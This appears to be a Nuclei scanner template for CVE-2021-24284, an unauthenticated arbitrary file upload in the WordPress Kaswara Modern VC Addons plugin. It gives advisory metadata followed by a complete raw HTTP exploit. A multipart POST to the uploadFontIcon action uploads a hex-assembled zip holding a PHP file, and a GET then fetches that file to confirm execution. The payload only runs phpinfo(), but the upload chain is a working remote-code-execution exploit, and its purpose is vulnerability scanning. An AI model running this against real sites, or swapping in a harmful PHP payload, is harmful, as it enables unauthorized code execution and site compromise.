id: CVE-2021-24284

info:
  name: WordPress Kaswara Modern VC Addons <=3.0.1 - Arbitrary File Upload
  author: lamscun,pussycat0x,pdteam
  severity: critical
  description: |
    WordPress Kaswara Modern VC Addons plugin through 3.0.1 is susceptible to an arbitrary file upload. The plugin allows unauthenticated arbitrary file upload via the uploadFontIcon AJAX action, which can be used to obtain code execution. The supplied zipfile is unzipped in the wp-content/uploads/kaswara/fonts_icon directory with no checks for malicious files such as PHP.
  reference:
    - https://wpscan.com/vulnerability/8d66e338-a88f-4610-8d12-43e8be2da8c5
    - https://github.com/advisories/GHSA-wqvg-8q49-hjc7
    - https://www.wordfence.com/blog/2021/04/psa-remove-kaswara-modern-wpbakery-page-builder-addons-plugin-immediately/
    - https://www.waltermairena.net/en/2021/04/25/0-day-vulnerability-in-the-plugin-kaswara-modern-vc-addons-plugin-what-can-i-do/
    - https://lifeinhex.com/kaswara-exploit-or-how-much-wordfence-cares-about-user-security/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24284
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24284
    cwe-id: CWE-434
  tags: intrusive,unauth,fileupload,wpscan,cve,wordpress,wp-plugin,rce,cve2021,wp

variables:
  zip_file: "{{to_lower(rand_text_alpha(6))}}"
  php_file: "{{to_lower(rand_text_alpha(2))}}.php"
  php_cmd: "<?php phpinfo();?>"

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------d3be34324392a708

        --------------------------d3be34324392a708
        Content-Disposition: form-data; name="fonticonzipfile"; filename="{{zip_file}}.zip"
        Content-Type: application/octet-stream

        {{hex_decode('504B03040A0000000000FA73F454B2333E07140000001400000006001C00')}}{{php_file}}{{hex_decode('555409000366CBD76267CBD76275780B000104F50100000414000000')}}{{php_cmd}}{{hex_decode('0A504B01021E030A00000000002978F454E49BC1591300000013000000060018000000000001000000A48100000000')}}{{php_file}}{{hex_decode('555405000366CBD76275780B000104F50100000414000000504B050600000000010001004C000000530000000000')}}
        --------------------------d3be34324392a708
        Content-Disposition: form-data; name="fontsetname"

        {{zip_file}}
        --------------------------d3be34324392a708
        Content-Disposition: form-data; name="action"

        uploadFontIcon
        --------------------------d3be34324392a708--

      - |
        GET /wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/{{php_file}} HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/style.css"

      - type: word
        part: body_2
        words:
          - "phpinfo()"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/10/06